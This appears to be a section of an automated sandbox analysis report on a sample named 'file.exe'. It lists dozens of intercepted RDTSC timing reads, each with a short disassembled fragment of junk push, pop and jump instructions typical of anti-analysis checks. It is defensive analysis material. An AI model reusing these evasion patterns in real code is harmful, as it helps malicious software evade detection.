Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 448A5E second address: 448A77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F06147E6004h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44AFF2 second address: 44AFF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44AFF8 second address: 44B01C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F06147E6007h 0x0000000b jbe 00007F06147E5FF6h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44B01C second address: 44B022 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44B022 second address: 44B02C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F06147E5FF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44B02C second address: 44B030 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44B030 second address: 44B040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44B040 second address: 44B048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44C686 second address: 44C69C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6000h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 454333 second address: 454337 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45449F second address: 4544BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E5FFDh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push edx 0x0000000d pop edx 0x0000000e jne 00007F06147E5FF6h 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45460E second address: 45461E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC2Bh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4548FC second address: 454927 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F06147E5FFEh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F06147E5FFFh 0x00000013 jp 00007F06147E5FF6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 454927 second address: 45492F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45492F second address: 45493E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F06147E5FFAh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45982C second address: 45983D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F061450AC26h 0x00000009 jl 00007F061450AC26h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4594E4 second address: 45951D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007F06147E5FF6h 0x0000000b js 00007F06147E5FF6h 0x00000011 jc 00007F06147E5FF6h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pushad 0x0000001b push ebx 0x0000001c js 00007F06147E5FF6h 0x00000022 pushad 0x00000023 popad 0x00000024 pop ebx 0x00000025 pushad 0x00000026 jmp 00007F06147E6001h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45951D second address: 459548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F061450AC26h 0x0000000a popad 0x0000000b push edx 0x0000000c jmp 00007F061450AC30h 0x00000011 jmp 00007F061450AC2Ah 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push edx 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46CF95 second address: 46CFAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edx 0x00000006 jmp 00007F06147E5FFEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46CFAB second address: 46CFB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46CFB0 second address: 46CFC6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F06147E5FFCh 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46CFC6 second address: 46CFCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46CFCA second address: 46CFFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F06147E600Dh 0x00000010 push eax 0x00000011 push edx 0x00000012 jp 00007F06147E5FF6h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46CFFB second address: 46D005 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F061450AC26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47A4DD second address: 47A517 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F06147E5FF6h 0x00000008 jmp 00007F06147E6009h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jno 00007F06147E5FF8h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F06147E5FFDh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47A517 second address: 47A528 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push esi 0x00000008 pushad 0x00000009 ja 00007F061450AC26h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47E46B second address: 47E47B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jo 00007F06147E5FF6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47E47B second address: 47E481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47E481 second address: 47E49E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007F06147E5FF6h 0x0000000d jmp 00007F06147E6000h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47E49E second address: 47E4A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 493715 second address: 49371B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49888E second address: 4988A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC30h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4988A4 second address: 4988A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 497912 second address: 497925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b jng 00007F061450AC32h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 497ABB second address: 497ABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 497ABF second address: 497AC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 497AC5 second address: 497ACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 497D47 second address: 497D4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 497D4C second address: 497D51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49819C second address: 4981A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4981A0 second address: 4981BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6009h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4985BE second address: 4985D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F061450AC2Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A118 second address: 49A121 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49CD6B second address: 49CD86 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F061450AC26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F061450AC2Fh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49CD86 second address: 49CD98 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jp 00007F06147E6008h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49CD98 second address: 49CD9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49CD9C second address: 49CDA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49CDA0 second address: 49CDAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0733 second address: 4A073F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F06147E5FF6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40035 second address: 4B400B8 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F061450AC35h 0x00000008 or esi, 2E746336h 0x0000000e jmp 00007F061450AC31h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 push eax 0x00000018 pushad 0x00000019 call 00007F061450AC37h 0x0000001e jmp 00007F061450AC38h 0x00000023 pop ecx 0x00000024 mov ecx, edi 0x00000026 popad 0x00000027 xchg eax, ebp 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F061450AC38h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B7005D second address: 4B70061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70061 second address: 4B70067 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70067 second address: 4B70076 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F06147E5FFBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70076 second address: 4B7007A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B000FF second address: 4B00105 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00105 second address: 4B00109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00109 second address: 4B0011A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d pop edx 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0011A second address: 4B00136 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F061450AC38h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20C4D second address: 4B20C69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F06147E6008h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20C69 second address: 4B20CA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F061450AC32h 0x00000015 adc esi, 267730A8h 0x0000001b jmp 00007F061450AC2Bh 0x00000020 popfd 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20CA6 second address: 4B20CE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 13D8h 0x00000007 jmp 00007F06147E6001h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F06147E5FFEh 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F06147E5FFAh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20CE0 second address: 4B20CEF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20CEF second address: 4B20CF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20CF5 second address: 4B20CF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2080A second address: 4B20837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ebx 0x00000006 push esi 0x00000007 pop ebx 0x00000008 pop esi 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F06147E6001h 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F06147E5FFDh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20837 second address: 4B2083D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2083D second address: 4B20841 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20841 second address: 4B20859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c call 00007F061450AC2Bh 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B206DA second address: 4B206EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 movzx ecx, di 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 mov edi, esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20498 second address: 4B2049D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2049D second address: 4B204BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cx, dx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F06147E6000h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B204BC second address: 4B204C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B204C2 second address: 4B204E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E5FFEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movsx edi, cx 0x00000012 mov ecx, 15FC6CF5h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B204E3 second address: 4B20502 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, F2h 0x00000005 movzx esi, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F061450AC30h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20502 second address: 4B20529 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E5FFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F06147E6005h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30313 second address: 4B30321 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F061450AC2Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30321 second address: 4B30379 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F06147E5FFCh 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007F06147E6000h 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F06147E5FFDh 0x00000021 sub ax, A116h 0x00000026 jmp 00007F06147E6001h 0x0000002b popfd 0x0000002c mov esi, 39F83787h 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30379 second address: 4B30395 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F061450AC2Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30395 second address: 4B30399 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30399 second address: 4B3039F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60EB7 second address: 4B60F14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 912Ah 0x00000007 pushfd 0x00000008 jmp 00007F06147E5FFBh 0x0000000d and ch, FFFFFFCEh 0x00000010 jmp 00007F06147E6009h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a jmp 00007F06147E5FFEh 0x0000001f push eax 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F06147E6007h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60F14 second address: 4B60F4D instructions: 0x00000000 rdtsc 0x00000002 movzx esi, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F061450AC37h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F061450AC35h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60F4D second address: 4B60F99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 pushfd 0x00000007 jmp 00007F06147E6008h 0x0000000c xor esi, 7580E898h 0x00000012 jmp 00007F06147E5FFBh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b pop ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F06147E6005h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B4038E second address: 4B40394 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40394 second address: 4B403CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E5FFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov al, 3Eh 0x0000000f popad 0x00000010 push eax 0x00000011 jmp 00007F06147E5FFDh 0x00000016 xchg eax, ebp 0x00000017 jmp 00007F06147E5FFEh 0x0000001c mov ebp, esp 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B403CE second address: 4B403D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cx, di 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B403D6 second address: 4B403DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30F1C second address: 4B30F34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F061450AC34h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40246 second address: 4B4024A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B4024A second address: 4B40265 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40265 second address: 4B4026B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B4026B second address: 4B4026F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60726 second address: 4B6072A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
